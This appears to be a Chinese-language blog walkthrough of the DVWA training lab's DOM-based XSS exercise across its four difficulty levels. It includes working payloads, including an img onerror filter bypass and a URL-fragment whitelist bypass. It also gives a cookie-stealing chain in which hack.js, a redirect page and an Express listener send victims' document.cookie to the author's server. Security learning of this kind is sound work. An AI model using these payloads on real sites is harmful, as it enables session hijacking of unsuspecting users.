Skip to content

DVWA XSS DOM All#

目录#

1. 背景#

最近需要补充一下网络安全方面的知识,于是就从基础的靶场 DVWA (Damn Vulnerable Web Application) 开始刷起,这一篇是关于从LowHigh难度的跨站脚本攻击的内容。

和我一样希望学习网络安全知识的同学,推荐学习《Web安全攻防实战》《安全攻防技能30讲》

2. 环境搭建#

参考上一篇关于 Brute Force 暴力破解密码的博客

3. 跨站脚本攻击#

3.1. Low#

XSS DOM

先从 Low 难度开始,这是一个下拉选择框,我们先看一看构成选项的Javascript代码,这里会将URL中的default关键字的值拼接到HTML中。

if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

再看一看服务端的代码,Low难度没有对URL进行任何控制。

<?php

# No protections, anything goes

?>

比如我们想要窃取别人的Cookie的话,只需要诱导他点击下面的链接。

http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English<script>alert(document.cookie)</script>

Cookie

当然,这个链接太明显了,别人不一定会点击,我们可以在服务器上挂一个网页,从网页转到这个链接即可。

这里我们仅在本地调试,我们在本地8888端口挂一个hack.js文件,这里的命令将会把Cookie发送到hack接口。

window.location.href = "http://localhost:8888/hack?cookie=" + document.cookie;

再构造一个跳转页面作为index.html

<!DOCTYPE html>
<html lang="zh">

    <head>
        <meta charset="UTF-8">
        <style>
            div {
                text-align: center;
            }

        </style>
    </head>

    <body>
        <div>
            <p>
                页面跳转中,请稍候。。。
            </p>
            <script src="transfer.js">

            </script>
        </div>
    </body>

</html>

下面是页面中执行的transfer.js文件,它将当前页面跳转到XSS,然后执行hack.js,把cookie发送到了hack端口。

window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English<script src=http://localhost:8888/hack.js>\</script>";

服务端以Express为例,hack端口输出了传入的cookie,并将页面再重定向到 www.baidu.comExpress 的具体配置可以参考另一篇博客

var app = express();
app.get('/hack', function (req, res, next) {
    console.log("-----------------");
    console.log(req.query.cookie);
    console.log("-----------------");
    res.redirect('http://www.baidu.com');
});

最后cookie显示在了服务端的日志中。

Cookie

3.2. Medium#

接下里是 Medium 难度。

我们先查看一下源码,这里对default属性的值做了一个判断,如果包含<script则将其值恢复到English,会将URL中的JavaScript脚本筛除掉。

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

script标签不能用了,我们还可以使用img标签访问一个不存在的资源,然后在onerror中调用JavaScript代码。

如果用document.writeselect标签中写入img标签,会被自动抹除掉,所以要闭合optionselect标签

transfer.js改成下面这样,就能在onerror中使用alert命令了。

window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English</option></select><img hidden src=x onerror=alert(document.cookie)>";

Cookie

不过这里因为不能把字符串和变量区分开,所以不能使用更加复杂的JavaScript代码。

要实现把cookie发送到服务端,我们还可以在URL中使用 # 符号,# 在URL中用来在页面中进行定位,浏览器不会把 # 后面的值发送到服务端。

所以,我们在transfer.js中加入一个 # 符号。

window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English# <script src=http://localhost:8888/hack.js>\</script>";

这样就能绕过检查规则,达到向我们的服务器发送cookie的目的了。

Cookie

3.3. High#

接下来是High难度,源码如下。

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

这里使用了白名单,只允许 default 属性为4个合法值。用上面提到的#符号同样可以绕过。

window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English# <script src=http://localhost:8888/hack.js>\</script>";

3.3. Impossible#

Impossible就基本上没有什么安全漏洞了。

<?php

# Don't need to do anything, protction handled on the client side

?>
if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
    document.write("<option value='" + lang + "'>" + (lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

JavaScript中没有对URL进行解码,English后面的脚本会被URL编码后放在选项中,脚本不会执行。

Cookie


联系邮箱:curren_wong@163.com

CSDNhttps://me.csdn.net/qq_41729780

知乎https://zhuanlan.zhihu.com/c_1225417532351741952

公众号复杂网络与机器学习

欢迎关注/转载,有问题欢迎通过邮箱交流。

二维码

Back to top